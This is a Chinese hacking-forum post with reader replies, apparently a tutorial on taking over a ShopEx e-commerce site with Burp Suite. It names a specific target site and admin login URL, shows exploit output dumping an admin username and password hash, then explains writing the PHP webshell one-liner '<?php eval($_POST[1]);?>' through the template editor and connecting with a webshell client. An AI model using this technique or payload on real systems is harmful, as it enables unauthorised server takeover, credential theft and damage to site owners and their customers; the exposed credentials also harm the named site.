burp拿shopex_webshell 无聊掳过 大牛勿喷

m0ox

作者:弥心    来自：www.ihonker.org         

视频教程下载地址:

游客，如果您要查看本帖隐藏内容请回复

http://www.ccoo123.com/

http://www.ccoo123.com/shopadmin/index.php?ctl=passport&act=login


Send data to host www.ccoo123.com
Please wait, data is being received
Receive Data 17
Receive Data 9198
Receive Data 18103
Receive Data 21867
Receive Data 26661
Receive Data 30803
Exploit Success
username:adminczc
username:feb5cea0400a26926d2a587a6b8c0f0e

说下
join 加载
打开 burp
run  运行
show 列出所有的 exp

之前我解过了

步骤: 页面管理 - 模板列表- 编辑- 模板- 随便点击一个编辑- 保存下  -
图片


这边说明下
tmpid=在服务器生成的文件夹  
name=文件名
file_source= 文件的内容

我们尝试写入一句话

先把burp 导入 repeater

<?php eval($_POST[1]);?>

http://www.ccoo123.com/themes/b2dgfc/1.php

go

我们用菜刀打开
图片
OK 成共了


其实还有方法 就是上传模板  模板里面包含 一句话木马文件  方法如上  

下次在说   谢谢观看   

街\角の落叶

？？？？很想知道隐藏了什么

秋叶下的烟头

顶一个先

Lzzh

这个要看看啊。。。

蓝色_

神器！

kiog_mr

谢谢分享

野驴~

低调学习中~~~~~~~~~~